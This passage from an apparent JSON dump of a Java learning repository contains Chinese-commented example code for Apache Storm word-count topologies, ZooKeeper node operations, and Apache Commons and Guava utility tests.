Values(message));\n\t\t}\n\t\tcount++;\n\t}\n\n\n\t/**\n     * declareOutputFields是在IComponent接口中定义，用于声明数据格式。\n     * 即输出的一个Tuple中，包含几个字段。\n     */\n\t@Override\n\tpublic void declareOutputFields(OutputFieldsDeclarer declarer) {\n\t\tSystem.out.println(\"定义格式...\");\n\t\tdeclarer.declare(new Fields(field));\n\t}\n\n\t/**\n\t * 当一个Tuple处理成功时，会调用这个方法\n\t */\n\t@Override\n\tpublic void ack(Object obj) {\n\t\tSystem.out.println(\"ack:\"+obj);\n\t}\n\t\n\t/**\n\t * 当Topology停止时，会调用这个方法\n\t */\n\t@Override\n\tpublic void close() {\n\t\tSystem.out.println(\"关闭...\");\n\t}\n\t\n\t/**\n\t * 当一个Tuple处理失败时，会调用这个方法\n\t */\n\t@Override\n\tpublic void fail(Object obj) {\n\t\tSystem.out.println(\"失败:\"+obj);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/storm/test/package-info.java",
    "content": "/**\n * \n */\n/**\n * Title: package-info\n * Description: \n * Version:1.0.0  \n * @author pancm\n * @date 2018年3月15日\n */\npackage com.jun.plugin.bigdata.storm.test;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/storm/test2/App.java",
    "content": "package com.jun.plugin.bigdata.storm.test2;\n\nimport org.apache.storm.Config;\nimport org.apache.storm.LocalCluster;\nimport org.apache.storm.StormSubmitter;\nimport org.apache.storm.topology.TopologyBuilder;\nimport org.apache.storm.tuple.Fields;\n\n/**\n * \n* Title: App\n* Description:\n* storm测试 \n* Version:1.0.0  \n* @author pancm\n* @date 2018年3月6日\n */\npublic class App {\n\t\n\tprivate static final String test_spout=\"test_spout\"; \n\tprivate static final String test_bolt=\"test_bolt\"; \n\tprivate static final String test2_bolt=\"test2_bolt\"; \n\n\tpublic static void main(String[] args)  {\n\t\t//定义一个拓扑\n\t\tTopologyBuilder builder=new TopologyBuilder();\n\t\t//设置两个Executeor(线程)，默认一个\n\t\tbuilder.setSpout(test_spout, new TestSpout(),2);\n\t\t//shuffleGrouping:表示是随机分组\n\t\t//设置两个Executeor(线程)，和两个task\n\t\tbuilder.setBolt(test_bolt, new TestBolt(),2).setNumTasks(2).shuffleGrouping(test_spout);\n\t\t//fieldsGrouping:表示是按字段分组\n\t\t//设置两个Executeor(线程)，和两个task\n\t\tbuilder.setBolt(test2_bolt, new Test2Bolt(),2).setNumTasks(2).fieldsGrouping(test_bolt, new Fields(\"count\"));\n\t\tConfig conf = new Config();\n\t\tconf.put(\"test\", \"test\");\n\t\ttry{\n\t\t  //运行拓扑\n\t       if(args !=null&&args.length>0){ //有参数时，表示向集群提交作业，并把第一个参数当做topology名称\n\t       \t System.out.println(\"运行远程模式\");\n\t\t\t StormSubmitter.submitTopology(args[0], conf, builder.createTopology());\n\t      } else{//没有参数时，本地提交\n\t        //启动本地模式\n\t     \tSystem.out.println(\"运行本地模式\");\n\t        LocalCluster cluster = new LocalCluster();\n\t        cluster.submitTopology(\"Word-counts\" ,conf,  builder.createTopology() );\n\t        Thread.sleep(20000);\n//\t        //关闭本地集群\n\t        cluster.shutdown();\n\t      }\n\t\t}catch (Exception e){\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/storm/test2/Test2Bolt.java",
    "content": "package com.jun.plugin.bigdata.storm.test2;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.apache.storm.task.OutputCollector;\nimport org.apache.storm.task.TopologyContext;\nimport org.apache.storm.topology.OutputFieldsDeclarer;\nimport org.apache.storm.topology.base.BaseRichBolt;\nimport org.apache.storm.tuple.Tuple;\n\n/**\n * \n* Title: Test2Bolt\n* Description:\n* 统计单词出现的次数 \n* Version:1.0.0  \n* @author pancm\n* @date 2018年3月16日\n */\npublic class Test2Bolt extends BaseRichBolt{\n\n\t/**\n\t * \n\t */\n\tprivate static final long serialVersionUID = 4743224635827696343L;\n\t\n\t\n\t/**\n\t * 保存单词和对应的计数\n\t */\n\tprivate HashMap<String, Integer> counts = null;\n\t \n\tprivate long count=1;\n\t/**\n    * 在Bolt启动前执行，提供Bolt启动环境配置的入口\n    * 一般对于不可序列化的对象进行实例化。\n    * 注:如果是可以序列化的对象，那么最好是使用构造函数。\n    */\n\t@Override\n\tpublic void prepare(Map map, TopologyContext arg1, OutputCollector collector) {\n\t\tSystem.out.println(\"prepare:\"+map.get(\"test\"));\n\t\tthis.counts=new HashMap<String, Integer>();\n\t}\n  \n\t/**\n\t * execute()方法是Bolt实现的核心。\n\t * 也就是执行方法，每次Bolt从流接收一个订阅的tuple，都会调用这个方法。\n\t * \n\t */\n\t@Override\n\tpublic void execute(Tuple tuple) {\n\t\tString msg=tuple.getStringByField(\"count\");\n\t\tSystem.out.println(\"第\"+count+\"次统计单词出现的次数\");\n\t\t/**\n\t\t * 如果不包含该单词，说明在该map是第一次出现\n\t\t * 否则进行加1\n\t\t */\n\t\tif (!counts.containsKey(msg)) {\n\t\t\tcounts.put(msg, 1);\n\t\t} else {\n\t\t\tcounts.put(msg, counts.get(msg)+1);\n\t\t}\n\t\tcount++;\n\t}\n\n\t\n\t/**\n     * cleanup是IBolt接口中定义,用于释放bolt占用的资源。\n     * Storm在终止一个bolt之前会调用这个方法。\n\t */\n\t@Override\n\tpublic void cleanup() {\n\t\tSystem.out.println(\"===========开始显示单词数量============\");\n\t\tfor (Map.Entry<String, Integer> entry : counts.entrySet()) {\n\t\t\tSystem.out.println(entry.getKey() + \": \" + entry.getValue());\n\t\t}\n\t\tSystem.out.println(\"===========结束============\");\n\t    System.out.println(\"Test2Bolt的资源释放\");\n\t}\n\t\n\t/**\n\t * 声明数据格式\n\t */\n\t@Override\n\tpublic void declareOutputFields(OutputFieldsDeclarer arg0) {\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/storm/test2/TestBolt.java",
    "content": "package com.jun.plugin.bigdata.storm.test2;\n\nimport java.util.Map;\n\nimport org.apache.storm.task.OutputCollector;\nimport org.apache.storm.task.TopologyContext;\nimport org.apache.storm.topology.OutputFieldsDeclarer;\nimport org.apache.storm.topology.base.BaseRichBolt;\nimport org.apache.storm.tuple.Fields;\nimport org.apache.storm.tuple.Tuple;\nimport org.apache.storm.tuple.Values;\n\n\n/**\n * \n* Title: TestBolt\n* Description: \n* 对单词进行分割\n* Version:1.0.0  \n* @author pancm\n* @date 2018年3月16日\n */\npublic class TestBolt extends BaseRichBolt{\n\n\t/**\n\t * \n\t */\n\tprivate static final long serialVersionUID = 4743224635827696343L;\n\t\n\tprivate OutputCollector collector;\n   \n\t/**\n    * 在Bolt启动前执行，提供Bolt启动环境配置的入口\n    * 一般对于不可序列化的对象进行实例化。\n    * 注:如果是可以序列化的对象，那么最好是使用构造函数。\n    */\n\t@Override\n\tpublic void prepare(Map map, TopologyContext arg1, OutputCollector collector) {\n\t\tSystem.out.println(\"prepare:\"+map.get(\"test\"));\n\t\tthis.collector=collector;\n\t}\n  \n\t/**\n\t * execute()方法是Bolt实现的核心。\n\t * 也就是执行方法，每次Bolt从流接收一个订阅的tuple，都会调用这个方法。\n\t */\n\t@Override\n\tpublic void execute(Tuple tuple) {\n\t\tString msg=tuple.getStringByField(\"word\");\n\t    System.out.println(\"开始分割单词:\"+msg);\n        String[] words = msg.toLowerCase().split(\" \");\n        for (String word : words) {\n            this.collector.emit(new Values(word));//向下一个bolt发射数据\n        } \n\t\n\t}\n\n\t/**\n\t * 声明数据格式\n\t */\n\t@Override\n\tpublic void declareOutputFields(OutputFieldsDeclarer declarer) {\n\t\tdeclarer.declare(new Fields(\"count\"));\n\t}\n\t\n\t/**\n     * cleanup是IBolt接口中定义,用于释放bolt占用的资源。\n     * Storm在终止一个bolt之前会调用这个方法。\n\t */\n\t@Override\n\tpublic void cleanup() {\n\t\tSystem.out.println(\"TestBolt的资源释放\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/storm/test2/TestSpout.java",
    "content": "package com.jun.plugin.bigdata.storm.test2;\n\nimport java.util.Map;\n\nimport org.apache.storm.spout.SpoutOutputCollector;\nimport org.apache.storm.task.TopologyContext;\nimport org.apache.storm.topology.OutputFieldsDeclarer;\nimport org.apache.storm.topology.base.BaseRichSpout;\nimport org.apache.storm.tuple.Fields;\nimport org.apache.storm.tuple.Values;\n\n/**\n * \n* Title: TestSpout\n* Description:\n* 发送信息\n* Version:1.0.0  \n* @author pancm\n* @date 2018年3月6日\n */\npublic class TestSpout extends BaseRichSpout{\n\n\tprivate static final long serialVersionUID = 225243592780939490L;\n\n\tprivate SpoutOutputCollector collector;\n\tprivate static final String field=\"word\";\n\tprivate int count=1;\n\tprivate String[] message =  {\n            \"My nickname is xuwujing\",\n            \"My blog address is http://www.panchengming.com/\",\n            \"My interest is playing games\"\n    };\n\t\n\t/**\n     * open()方法中是在ISpout接口中定义，在Spout组件初始化时被调用。\n     * 有三个参数:\n     * 1.Storm配置的Map;\n     * 2.topology中组件的信息;\n     * 3.发射tuple的方法;\n     */\n\t@Override\n\tpublic void open(Map map, TopologyContext arg1, SpoutOutputCollector collector) {\n\t\tSystem.out.println(\"open:\"+map.get(\"test\"));\n\t\tthis.collector = collector;\n\t}\n\n\t/**\n     * nextTuple()方法是Spout实现的核心。\n     * 也就是主要执行方法，用于输出信息,通过collector.emit方法发射。\n     */\n\t@Override\n\tpublic void nextTuple() {\n\t\t\t\n\t\tif(count<=message.length){\n\t\t\tSystem.out.println(\"第\"+count +\"次开始发送数据...\");\n\t\t\tthis.collector.emit(new Values(message[count-1]));\n\t\t}\n\t\tcount++;\n\t}\n\n\n\t/**\n     * declareOutputFields是在IComponent接口中定义，用于声明数据格式。\n     * 即输出的一个Tuple中，包含几个字段。\n     */\n\t@Override\n\tpublic void declareOutputFields(OutputFieldsDeclarer declarer) {\n\t\tSystem.out.println(\"定义格式...\");\n\t\tdeclarer.declare(new Fields(field));\n\t}\n\n\t/**\n\t * 当一个Tuple处理成功时，会调用这个方法\n\t */\n\t@Override\n\tpublic void ack(Object obj) {\n\t\tSystem.out.println(\"ack:\"+obj);\n\t}\n\t\n\t/**\n\t * 当Topology停止时，会调用这个方法\n\t */\n\t@Override\n\tpublic void close() {\n\t\tSystem.out.println(\"关闭...\");\n\t}\n\t\n\t/**\n\t * 当一个Tuple处理失败时，会调用这个方法\n\t */\n\t@Override\n\tpublic void fail(Object obj) {\n\t\tSystem.out.println(\"失败:\"+obj);\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/storm/test2/package-info.java",
    "content": "/**\n * \n */\n/**\n * Title: package-info\n * Description: \n * Version:1.0.0  \n * @author pancm\n * @date 2018年3月15日\n */\npackage com.jun.plugin.bigdata.storm.test2;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/zookeeper/ZookeeperTest.java",
    "content": "package com.jun.plugin.bigdata.zookeeper;\n\nimport org.apache.zookeeper.CreateMode;\nimport org.apache.zookeeper.WatchedEvent;\nimport org.apache.zookeeper.Watcher;\nimport org.apache.zookeeper.ZooDefs.Ids;\nimport org.apache.zookeeper.ZooKeeper;\n\n/**\n * \n* @Title: ZookeeperTest\n* @Description: \n* zookeeper测试\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年4月28日\n */\npublic class ZookeeperTest {\n\tprivate static String url=\"master:2181\";\n\tprivate static  ZooKeeper zk;\n\tprivate static  int  CONNECTION_TIMEOUT=30000;\n\t\n\tpublic static void main(String[] args) throws Exception {\n\t\t// 创建一个与服务器的连接\n\t\t zk = new ZooKeeper(url , \n\t\t\t\t CONNECTION_TIMEOUT, new Watcher() { \n\t\t            // 监控所有被触发的事件\n\t\t            public void process(WatchedEvent event) {\n\t\t                System.out.println(event.getPath()+\"已经触发了\" + event.getType() + \"事件！\"); \n\t\t            } \n\t\t        }); \n\t\t \n\t\t /*\n\t\t  * 创建一个给定的目录节点 path, 并给它设置数据，\n\t\t  * CreateMode 标识有四种形式的目录节点，分别是\n\t\t  *  PERSISTENT：持久化目录节点，这个目录节点存储的数据不会丢失；\n\t\t  *  PERSISTENT_SEQUENTIAL：顺序自动编号的目录节点，这种目录节点会根据当前已近存在的节点数自动加 1，\n\t\t  *  然后返回给客户端已经成功创建的目录节点名；\n\t\t  *  EPHEMERAL：临时目录节点，一旦创建这个节点的客户端与服务器端口也就是 session 超时，这种节点会被自动删除；\n\t\t  *  EPHEMERAL_SEQUENTIAL：临时自动编号节点\n\t\t  */\n\t\t \n\t\t // 创建一个父级目录节点\n\t\t if(zk.exists(\"/test\", true)==null){\n\t\t\t //参数说明:目录，参数，参数权限，节点类型\n\t\t\t zk.create(\"/test\", \"data1\".getBytes(), Ids.OPEN_ACL_UNSAFE, CreateMode.PERSISTENT); \n\t\t }\n\t\t if(zk.exists(\"/test/test1\", true)==null){\n\t\t\t // 创建一个子目录节点\n\t\t\t zk.create(\"/test/test1\", \"data2\".getBytes(), Ids.OPEN_ACL_UNSAFE,CreateMode.PERSISTENT); \n\t\t }\n\t\t \n\t\t System.out.println(\"=\"+new String(zk.getData(\"/test\",false,null))); \n\t\t // 取出子目录节点列表\n\t\t System.out.println(\"==\"+zk.getChildren(\"/test\",true)); \n\t\t\n\t\t if(zk.exists(\"/test/test1\", true)!=null){\n\t\t\t // 修改子目录节点数据\n\t\t\t zk.setData(\"/test/test1\",\"testOne\".getBytes(),-1); \n\t\t }\n\t\t System.out.println(\"目录节点状态：[\"+zk.exists(\"/test\",true)+\"]\"); \n\t\t if(zk.exists(\"/test/test1\", true)!=null){\n\t\t  // 创建另外一个子目录节点\n\t\t  zk.create(\"/test/test2\", \"test2\".getBytes(), Ids.OPEN_ACL_UNSAFE,CreateMode.PERSISTENT); \n\t\t }\n\t\t System.out.println(\"===\"+new String(zk.getData(\"/test/test2\",true,null))); \n\n\t\t /*\n\t\t  * 删除 path 对应的目录节点，version 为 -1 可以匹配任何版本，也就删除了这个目录节点所有数据\n\t\t  */\n\t\t // 删除子目录节点\n\t\t zk.delete(\"/test/test2\",-1); \n\t\t zk.delete(\"/test/test1\",-1); \n\t\t \n\t\t // 删除父目录节点\n\t\t zk.delete(\"/test\",-1); \n\t\t // 关闭连接\n\t\t zk.close();\n\t}\n\t\n\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/zookeeper/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: zookeeper相关代码\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年4月28日\n*/\npackage com.jun.plugin.bigdata.zookeeper;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/code/MapCodeTest.java",
    "content": "package com.jun.plugin.code;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n* @Title: MapCodeTest\n* @Description: Map源码学习相关类\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年11月29日\n*/\npublic class MapCodeTest {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\ttest1();\n\t}\n\t\n\t\n\t/**\n\t * \n\t */\n\tprivate static void test1() {\n\t\tMap<String, Object> map =new HashMap<>();\n\t\tmap.put(\"1\", 1);\n\t\tmap.put(\"2\", 2);\n\t}\n}\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/code/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 源码相关类\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年11月29日\n*/\npackage com.jun.plugin.code;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/commons/apache/CommonsTest.java",
    "content": "package com.jun.plugin.commons.apache;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\n\nimport org.apache.commons.collections.Bag;\nimport org.apache.commons.collections.BidiMap;\nimport org.apache.commons.collections.Factory;\nimport org.apache.commons.collections.HashBag;\nimport org.apache.commons.collections.bidimap.TreeBidiMap;\nimport org.apache.commons.collections.list.LazyList;\nimport org.apache.commons.lang.RandomStringUtils;\nimport org.apache.commons.lang.StringUtils;\nimport org.apache.commons.lang.WordUtils;\n\n/**\n * \n* Title: langTest\n* Description: Apache commons工具包测试\n* Version:1.0.0  \n* @author pancm\n* @date 2017年10月30日\n */\npublic class CommonsTest {\n\n\tpublic static void main(String[] args) {\n\t\tstringTest();\n\t\totherTest();\n\t}\n\t\n\t/**\n\t * StringUtils 相关测试\n\t */\n\tprivate static void stringTest(){\n\t\t/*\n\t\t * 空指针判断\n\t\t */\n\t\tString str=\"\";\n\t\tString str2=null;\n\t\tString str3=\" \";\n\t\tSystem.out.println(\":\"+StringUtils.isEmpty(str));\t\t//:true\n\t\tSystem.out.println(\"null:\"+StringUtils.isEmpty(str2));  //null:true\n\t\tSystem.out.println(\" :\"+StringUtils.isEmpty(str3));\t\t// :false\n\t\t\n\t\t/*\n\t\t * 判断是否为数字\n\t\t */\n\t\tString str4=\"123\";\n\t\tString str5=\"12 3\";\n\t\tString str6=\"123QD#\";\n\t\tSystem.out.println(\"str4:\"+StringUtils.isNumeric(str4));//str4:true\n\t\tSystem.out.println(\"str5:\"+StringUtils.isNumeric(str5));//str5:false\n\t\tSystem.out.println(\"str6:\"+StringUtils.isNumeric(str6));//str6:false\n\t\t\n\t\t/*\n\t \t * 统计子字符串出现的次数\n\t\t */\n\t\tString str7=\"abcdefgfedccfg\";\n\t\tString str8=\"ac\";\n\t\tString str9=\"c\";\n\t\tSystem.out.println(\"count:\"+StringUtils.countMatches(str7, str8));//count:0\n\t\tSystem.out.println(\"count:\"+StringUtils.countMatches(str7, str9));//count:3\n\t\t\n\t}\n\t\n\t/**\n\t * 其他的测试\n\t */\n\tprivate static void otherTest(){\n\t\tSystem.out.println(\"十位数字随机数:\"+RandomStringUtils.randomNumeric(10)); //0534110685\n\t\tSystem.out.println(\"十位字母随机数:\"+RandomStringUtils.randomAlphabetic(10)); //jLWiHdQhHg\n\t\tSystem.out.println(\"十位ASCII随机数:\"+RandomStringUtils.randomAscii(10));  //8&[bxy%h_-\n\t\tString str=\"hello world,why are you so happy\";\n\t\tSystem.out.println(\"首字符大写:\"+WordUtils.capitalize(str));  //:Hello World,why Are You So Happy\n\t}\n\n\t/**\n\t * Bag 测试\n\t * 主要测试重复元素的统计\n\t */\n\t@SuppressWarnings(\"deprecation\")\n\tprivate static void bagTest(){\n\t\t//定义4种球\n\t\tBag box=new HashBag(Arrays.asList(\"red\",\"blue\",\"black\",\"green\"));\n\t\tSystem.out.println(\"box.getCount():\"+box.getCount(\"red\"));//box.getCount():1\n\t\tbox.add(\"red\", 5);//红色的球增加五个\n\t\tSystem.out.println(\"box.size():\"+box.size());\t//box.size():9\n\t\tSystem.out.println(\"box.getCount():\"+box.getCount(\"red\"));//box.getCount():6\n\t}\n\t\n\t/**\n\t * Lazy测试\n\t * 需要该元素的时候，才会生成\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tprivate static void lazyTest(){\n\t\tList<String> lazy=LazyList.decorate(new ArrayList<>(), new Factory() {\n\t\t\t@Override\n\t\t\tpublic Object create() {\n\t\t\t\treturn \"Hello\";\n\t\t\t}\n\t\t}); \n\t\t//访问了第三个元素，此时0和1位null\n\t\t//get几就增加了几加一 ， 输出依旧是 Hello \n\t\tString str=lazy.get(2);\n\t\tSystem.out.println(\"str:\"+str);//str:Hello \n\t\t//加入的第四个元素\n\t\tlazy.add(\"world\");\n\t\t//元素总个为4个\n\t\tSystem.out.println(\"lazy.size():\"+lazy.size());//lazy.size():4\n\t}\n\t\n\t/**\n\t * 双向Map\n\t * 唯一的key和map，可以通过键或值来操作\n\t * 比如删除、查询等\n\t */\n\tprivate static void bidimapTest(){\n\t\tBidiMap map=new TreeBidiMap();\n\t\tmap.put(1, \"a\");\n\t\tmap.put(2, \"b\");\n\t\tmap.put(3, \"c\");\n\t\tSystem.out.println(\"map:\"+map);\t//map:{1=a, 2=b, 3=c}\n\t\tSystem.out.println(\"map.get():\"+map.get(2)); //map.get():b\n\t\tSystem.out.println(\"map.getKey():\"+map.getKey(\"a\")); //map.getKey():1\n\t\tSystem.out.println(\"map.removeValue():\"+map.removeValue(\"c\")); //map.removeValue():3\n\t\tSystem.out.println(\"map:\"+map);\t//map:{1=a, 2=b}\n\t}\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/commons/apache/CompressTest.java",
    "content": "/**\n * \n */\npackage com.jun.plugin.commons.apache;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\n\nimport org.apache.commons.compress.archivers.zip.ZipArchiveEntry;\nimport org.apache.commons.compress.archivers.zip.ZipArchiveOutputStream;\n\n/**\n* @Title: compressTest\n* @Description:\n* 压缩测试 \n* @Version:1.0.0  \n* @author pancm\n* @date 2018年5月14日\n*/\npublic class CompressTest {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\ttest();\n\t}\n\n\t/**\n\t * 压缩文件测试\n\t */\n\tprivate static void test() {\n\n\t\t// 创建压缩对象\n\t\tZipArchiveEntry entry = new ZipArchiveEntry(\"CompressTest\");\n\t\t// 要压缩的文件\n\t\tFile f = new File(\"d:\\\\user.txt\");\n\t\tFileInputStream fis;\n\t\ttry {\n\t\t\tfis = new FileInputStream(f);\n\t\t\t// 输出的对象 压缩的文件\n\t\t\tZipArchiveOutputStream zipOutput = new ZipArchiveOutputStream(new File(\"d:\\\\user.zip\"));\n\t\t\tzipOutput.putArchiveEntry(entry);\n\t\t\tint i = 0, j;\n\t\t\twhile ((j = fis.read()) != -1) {\n\t\t\t\tzipOutput.write(j);\n\t\t\t\ti++;\n\t\t\t}\n\t\t\tSystem.out.println(\"压缩成功!遍历了:\" + i + \"次\");\n\t\t\tzipOutput.closeArchiveEntry();\n\t\t\tzipOutput.close();\n\t\t\tfis.close();\n\t\t} catch (FileNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/commons/apache/LangTest.java",
    "content": "/**\n * \n */\npackage com.jun.plugin.commons.apache;\n\nimport org.apache.commons.lang.StringEscapeUtils;\nimport org.apache.commons.lang3.ArrayUtils;\nimport org.apache.commons.lang3.ClassUtils;\nimport org.apache.commons.lang3.RandomStringUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.commons.lang3.math.NumberUtils;\n\n/**\n * @Title: LangTest\n * @Description:\n * @Version:1.0.0\n * @author pancm\n * @date 2018年5月14日\n */\npublic class LangTest {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\t test();\n\t}\n\n\tpublic static void test() {\n\t\t// 1 合并两个数组: org.apache.commons.lang. ArrayUtils\n\t\tString[] s1 = new String[] { \"1\", \"2\", \"3\" };\n\t\tString[] s2 = new String[] { \"a\", \"b\", \"c\" };\n\t\tString[] s = (String[]) ArrayUtils.addAll(s1, s2);\n\t\tfor (int i = 0; i < s.length; i++) {\n\t\t\tSystem.out.println(s[i]);\n\t\t}\n\t\tString str = ArrayUtils.toString(s);\n\t\tstr = str.substring(1, str.length() - 1);\n\t\tSystem.out.println(str + \">>\" + str.length());\n\n\t\tSystem.out.println(\"测试截取:\" + StringUtils.substringAfter(\"SELECT * FROM PERSON \", \"FROM\"));\n\t\t// 3 判断该字符串是不是为数字(0~9)组成，如果是，返回true 但该方法不识别有小数点和 请注意。\n\t\tSystem.out.println(\"数字判断:\" + StringUtils.isNumeric(\"454534\"));\n\t\tSystem.out.println(\"取得类名:\" + ClassUtils.getShortClassName(LangTest.class));\n\t\tSystem.out.println(\"获取包名:\" + ClassUtils.getPackageName(LangTest.class));\n\n\t\tSystem.out.println(\"是否是数字:\" + NumberUtils.isCreatable(\"123\"));\n\t\tSystem.out.println(\"随机数字和字母:\" + RandomStringUtils.randomAlphanumeric(5));\n\t\tSystem.out.println(\"<>进行转义\" + StringEscapeUtils.escapeHtml(\"<html>\"));\n\n\t\tSystem.out.println(\"是否是null字符 :\" + StringUtils.isBlank(null));\n\t\tSystem.out.println(\"是否是空字符 :\" + StringUtils.isBlank(\"\"));\n\t\tSystem.out.println(\"是否是空格字符 :\" + StringUtils.isBlank(\"   \"));\n\t\tSystem.out.println(\"分割数组:\" + StringUtils.join(s1, \",\"));\n\t\tSystem.out.println(\"添加某个字符，使其长度等于所设置的:\" + StringUtils.rightPad(\"abc\", 6, 'T'));\n\t\tSystem.out.println(\"首字母大写:\" + StringUtils.capitalize(\"abc\"));\n\t\tSystem.out.println(\"去掉空格:\" + StringUtils.deleteWhitespace(\"   ab  c  \"));\n\t\tSystem.out.println(\"是否包含该字符:\" + StringUtils.contains(\"abc\", \"ba\"));\n\t\tSystem.out.println(\"表示左边的字符:\" + StringUtils.left(\"abc\", 2));\n\t}\n\n\t\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/commons/apache/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: apache相关的工具类\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年9月20日\n*/\npackage com.jun.plugin.commons.apache;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/commons/google/GoogleTest.java",
    "content": "/**\n * \n */\npackage com.jun.plugin.commons.google;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport com.google.common.base.Function;\nimport com.google.common.collect.Lists;\nimport com.jun.plugin.pojo.User;\n\n/**\n* @Title: googleTest\n* @Description: \n* @Version:1.0.0  \n* @author pancm\n* @date 2018年5月14日\n*/\npublic class GoogleTest {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\ttest();\n\t}\n\n\t/**\n\t * 数组里所有对象的某个属性的值改变\n\t */\n\tprivate static void test(){\n\t\tList<User> userList=new ArrayList<>();\n\t\tUser user=new User();\n\t\tuser.setId(1);\n\t\tuser.setName(\"张三\");\n\t\tuserList.add(user);\n\t\tUser user2=new User();\n\t\tuser2.setId(2);\n\t\tuser2.setName(\"李四\");\n\t\tuserList.add(user2);\n\t\tSystem.out.println(\"更改之前的数据:\"+userList);\n\t    userList=Lists.transform(userList,new Function<User, User>() {\n\t\t\t@Override\n\t\t\tpublic User apply(User user) {\n\t\t\t\tuser.setName(\"王五\");\n\t\t\t\treturn user;\n\t\t\t}\n\t\t});\n\t\tSystem.out.println(\"更改之后的数据:\"+userList);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/commons/google/GuavaTest.java",
    "content": "package com.jun.plugin.commons.google;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport com.google.common.base.Joiner;\nimport com.google.common.base.Predicate;\nimport com.google.common.base.Splitter;\nimport com.google.common.collect.ArrayListMultimap;\nimport com.google.common.collect.HashBasedTable;\nimport com.google.common.collect.ImmutableList;\nimport com.google.common.collect.ImmutableMap;\nimport com.google.common.collect.Maps;\nimport com.google.common.collect.Multimap;\nimport com.google.common.collect.Table;\nimport com.google.common.primitives.Ints;\n\n/**\n * \n* Title: guavaTest\n* Description:谷歌 guava 工具包测试\n* Version:1.0.0  \n* @author pancm\n* @date 2017年10月30日\n */\npublic class GuavaTest {\n\n\tpublic static void main(String[] args) {\n\t\tnoChangeList();\n\t\tone2MoreMap();\n\t\tmore2One();\n\t\tfiltedMap();\n\t\tjoiner();\n\t\tsplitter();\n\t\tinteger();\n\t}\n\t\n\t/**\n\t * 不可变集合测试\n\t */\n\tprivate static void noChangeList(){\n\t\tImmutableList<String> list=ImmutableList.of(\"A\",\"B\",\"C\");\n\t\tImmutableMap<Integer,String> map=ImmutableMap.of(1,\"壹\",2,\"贰\",3,\"叁\");\n\t\tSystem.out.println(\"ImmutableList:\"+list); //ImmutableList:[A, B, C]\n\t\tSystem.out.println(\"ImmutableMap:\"+map); //ImmutableMap:{1=壹, 2=贰, 3=叁}\n\t\t\n\t\t//下面运行直接报错，因为这是不可变集合\n//\t\tlist.add(\"D\");  \n//\t\tmap.put(4, \"肆\");\n\t}\n\t\n\t/**\n\t * map中多个键的测试\n\t * 例如:一个人多个电话\n\t */\n\tprivate static void one2MoreMap(){\n\t\tMultimap<String,String> map= ArrayListMultimap.create();\n\t\tmap.put(\"路人甲\", \"123\");\n\t\tmap.put(\"路人甲\", \"234\");\n\t\tmap.put(\"路人乙\", \"567\");\n\t\tmap.put(\"路人乙\", \"890\");\n\t\tSystem.out.println(\"Multimap:\"+map); //Multimap:{路人乙=[567, 890], 路人甲=[123, 234]}\n\t\tSystem.out.println(\"get:\"+map.get(\"路人乙\")); //get:[567, 890]\n\t}\n\t\n\t/**\n\t * 多个键值对一个值\n\t * 例如:坐标\n\t */\n\tprivate static void more2One(){\n\t\tTable<Double, Double, String> table=HashBasedTable.create();\n\t\ttable.put(22.54, 114.01, \"深圳\");\n\t\ttable.put(39.96, 116.40, \"北京\");\n\t\tSystem.out.println(\"Table:\"+table); //Table:{22.54={114.01=深圳}, 39.96={116.4=北京}}\n\t\tSystem.out.println(\"Table.get:\"+table.get(22.54, 114.01));//Table.get:深圳\n\t}\n\t\n\t/**\n\t * 